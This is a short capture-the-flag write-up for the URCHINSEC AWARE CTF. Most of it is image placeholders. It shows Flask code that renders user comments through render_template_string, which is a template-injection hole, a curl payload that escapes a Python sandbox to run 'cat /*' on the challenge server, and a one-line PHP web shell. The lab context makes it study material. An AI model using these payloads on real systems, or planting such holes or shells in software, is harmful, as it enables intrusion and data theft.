rootđź’€senseicat:~#

Hack. Eat. Sleep. Repeat!!!


Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

CTF: URCHINSEC AWARE CTF


image


CHALLENGES:


WEB:


Notee:

image

@app.route('/<username>/note/<id>/comment', methods=['GET'])
def get_comments_note(username, id):
    note = Note.query.filter_by(id=id).first()
    if note is not None:
        # check if username inserted matches the note
        if note.username == username:
            return render_template_string(note.comment)
        else:
            return abort(403)
    else:
        return abort(404)
@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'GET':
        return render_template('index.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        title = request.form.get('title')
        description = request.form.get('description')
        comment = request.form.get('comment')
        user_ip = request.remote_addr

Exploitation


image

image


Pyrison

image

image

image

image

Final Payload-:curl https://urchinsec-pyrison.chals.io/test/trick -X POST -d "query=eval('__IMPORT__'.lower())('os').popen('cat /*').read()"

image


SECURE CODE REVIEW-:

Heart:

image

image

REDHAND

image

<?=`$_GET[0]`?>


SYRINGE:


image


image


THANKS FOR READING